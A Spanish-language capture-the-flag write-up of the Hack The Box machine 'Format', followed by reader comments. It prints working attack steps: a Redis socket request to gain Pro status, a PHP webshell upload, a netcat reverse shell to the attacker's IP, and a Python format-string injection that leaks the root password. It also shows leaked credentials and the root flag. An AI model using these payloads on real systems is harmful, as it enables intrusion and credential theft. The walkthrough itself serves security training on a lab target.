Format es una máquina de dificultad media en la plataforma de HTB. Para acceder debemos crear un subdominio a través de la web, editamos el campo TXT y podemos realizar LFI. Nos convertimos en Pro y nos permiten subir imágenes. Podemos crear un documento y ejecutar código visitando el archivo subido. A través del mismo conseguiremos acceso a la máquina como www-data y para convertirnos en el usuario cooper las obtendremos desde redis-cli. Como último podemos ejecutar un script como root que nos permitirá ver la contraseña del usuario root desde redis-cli.
Enumeración
Escaneo de puertos
Realizamos un escaneo mediante nmap para descubrir los puertos abiertos de la máquina.
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.34.244 -oG allPorts
[sudo] contraseña para mrx:
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-14 20:38 CEST
Initiating SYN Stealth Scan at 20:38
Scanning 10.129.34.244 [65535 ports]
Discovered open port 80/tcp on 10.129.34.244
Discovered open port 22/tcp on 10.129.34.244
Discovered open port 3000/tcp on 10.129.34.244
Completed SYN Stealth Scan at 20:38, 11.82s elapsed (65535 total ports)
Nmap scan report for 10.129.34.244
Host is up, received user-set (0.049s latency).
Scanned at 2023-05-14 20:38:25 CEST for 11s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
3000/tcp open ppp syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
Raw packets sent: 66285 (2.917MB) | Rcvd: 65600 (2.624MB)
En este caso son 3 los puertos abiertos: el 22 (SSH), el 80 (Web) y el 3000 (Web).
Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- –open: Para que solo muestre los puertos abiertos
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.
- -oG: Este tipo de fichero guarda todo el escaneo en una sola línea, haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.
Escaneamos los puertos abiertos para descubrir los servicios y versiones.
❯ nmap -p22,80,3000 -sCV 10.129.34.244 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-14 20:41 CEST
Nmap scan report for 10.129.34.244
Host is up (0.064s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.84 seconds
En el puerto 3000 nos redirige al dominio microblog.htb así que lo añadimos en el /etc/hosts.
Si intentamos acceder a la web del puerto 80 nos redirige al subdominio app.microblog.htb así que lo añadimos también.
Visitamos la web principal, en este caso el subdominio.
Nos registramos en la web, creamos un subdominio y lo añadimos al /etc/hosts.
Una vez añadido podemos editar el subdominio, así que probamos a realizar un XSS.
Como podemos observar se trata de un XSS Stored.
Probamos a capturar una petición del registro TXT del subdominio e intentamos realizar un LFI.
En efecto, el campo id es vulnerable a LFI, y descubrimos 2 usuarios: cooper y git.
Visitamos la web por el puerto 3000, se trata de un Gitea y el usuario Cooper tiene un repositorio. Como vemos en la imagen se trata de los archivos de la web y el subdominio, así que le echamos un vistazo al código en busca de vulnerabilidades.
Entre las líneas 25 y 35 podemos encontrar esta parte del código bastante interesante. Podemos ver que si la condición isPro es True entonces podremos subir algún tipo de archivo, aunque seguramente solo sean imágenes. De alguna forma debemos convertirnos en Pro para poder subir archivos a la web.
function provisionProUser() {
if(isPro() === "true") {
$blogName = trim(urldecode(getBlogName()));
system("chmod +w /var/www/microblog/" . $blogName);
system("chmod +w /var/www/microblog/" . $blogName . "/edit");
system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}
Intrusión
El servidor funciona mediante REDIS, para poder convertir nuestra cuenta en Pro debemos apuntar al socket y en formato HSET. HSET básicamente lo que haces cambiar los valores de los campos especificados.
❯ curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:hyper%20pro%20true%20a/b"
Una vez seamos usuario Pro enviamos una petición mediante Burpsuite y ejecutamos un ping hacia nuestra máquina de atacante.
id=/var/www/microblog/hyper/uploads/rev.php&txt=<%3fphp+echo+shell_exec("ping+-c+1+10.10.14.119")%3b%3f>
Nos quedamos a la escucha de trazas ICMP por la interfaz tun0. Una vez enviada la petición debemos visitar la siguiente ruta de la web.
❯ sudo tcpdump -n -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Una vez enviada la petición debemos visitar la siguiente ruta de la web para poder ejecutar el código PHP.
Si todo es correcto nos llega la traza ICMP de la máquina víctima, comprobando así que tenemos capacidad de ejecución de comandos.
❯ sudo tcpdump -n -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:22:58.693843 IP 10.129.31.165 > 10.10.14.119: ICMP echo request, id 63454, seq 1, length 64
01:22:58.693871 IP 10.10.14.119 > 10.129.31.165: ICMP echo reply, id 63454, seq 1, length 64
Enviamos una reverse shell a nuestra máquina de atacante.
id=/var/www/microblog/hyper/uploads/rev.php&txt=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.119+4444+>/tmp/f")%3b%3f>
Volvemos a visitar la ruta anterior para que nos interprete el código PHP y obtenemos la reverse shell.
❯ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.37.13 35472
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ hostname -I
10.129.37.13
$
Si pasamos el pspy y vemos un proceso de redis interesante.
2023/05/17 09:21:01 CMD: UID=103 PID=599 | /usr/bin/redis-server 127.0.0.1:0
Nos conectamos por el socket, ya que redis no está en abierto en ningún puerto.
www-data@format:/home/cooper$ redis-cli -s /run/redis/redis.sock
redis /run/redis/redis.sock> KEYS *
1) "cooper.dooper:sites"
2) "cooper.dooper"
redis /run/redis/redis.sock> TYPE cooper.dooper
hash
Obtenemos la contraseña del usuario cooper en la línea 4.
redis /run/redis/redis.sock> HGETALL cooper.dooper
1) "username"
2) "cooper.dooper"
3) "password"
4) "zooperdoopercooper"
5) "first-name"
6) "Cooper"
7) "last-name"
8) "Dooper"
9) "pro"
10) "false"
Escalada de privilegios
Nos conectamos por SSH con el usuario cooper y leemos la flag.
❯ ssh [email protected]
The authenticity of host '10.129.37.13 (10.129.37.13)' can't be established.
ED25519 key fingerprint is SHA256:30cTQN6W3DKQMMwb5RGQA6Ie1hnKQ37/bSbe+vpYE98.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.37.13' (ED25519) to the list of known hosts.
[email protected]'s password:
Linux format 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cooper@format:~$ cat user.txt
********************************
cooper@format:~$
Podemos ejecutar como sudo el archivo license así que miramos que es.
cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
cooper@format:~$
Podemos ver que se trata de un script en python.
cooper@format:~$ cat /usr/bin/license
#!/usr/bin/python3
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
if os.geteuid() != 0:
print("")
print("Microblog license key manager can only be run as root")
print("")
sys.exit()
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0] [20/64]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
#deprovision
if(args.check):
print("")
try:
license_key_decrypted = f.decrypt(args.check.encode())
print("License key valid! Decrypted value:")
print("------------------------------------------------------")
print(license_key_decrypted.decode())
except:
print("License key invalid")
print("")
Si leemos el archivo podemos realizar un Python Format String Vulnerabilities. Nos conectamos con redis y obtenemos la contraseña en texto plano.
redis /var/run/redis/redis.sock> HMSET test first-name "{license.__init__.__globals__[secret_encoded]}" last-name test username test
OK
redis /var/run/redis/redis.sock> exit
cooper@format:~$ sudo /usr/bin/license -p test
Plaintext license key:
------------------------------------------------------
microblogtestAv*pd5bU$#)!Ef@un(7nX!vkA;)|AD:A}e/DET{tb'unCR4ckaBL3Pa$$w0rd'test
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkZBqEo0E7jcv6FFBjGKoCi238MGNfhobcAFoqmkKXW0WJD0Sn1JuKMymKAEfTdV2Pz-zYlVuKrKgDZJp7ft-R4b8LxkeFwerwg85tIjvgDNK-PKp_H9x4WhR0zydRMPAKB77EsK6rJfsg9_JxOlne9U9mC9ed0onBt5UHNfsqUwH6wRI=
Nos conectamos con root y leemos la flag.
cooper@format:~$ su root
Password:
root@format:/home/cooper# cat /root/root.txt
fdb57fdc6ee411835663ddfb6822b8d1
root@format:/home/cooper#
I really like your write-ups. They are so easy to understand, even for beginners even though your write-ups are in Spanish it’s easy to translate into English. Looking forward to your future write-ups.
Thank you very much for your comment, maybe in the future I will start translating the writeups into English in order to reach a larger community.
Thank you very much for your comment, I am glad that it is easy to understand for people who do not speak Spanish.
Thanks for any other great post. The place else may anybody get that kind of information in such a perfect
means of writing? I have a presentation next week, and I am on the search for such info.
I love it whenever people come together and share thoughts.
Great website, keep it up!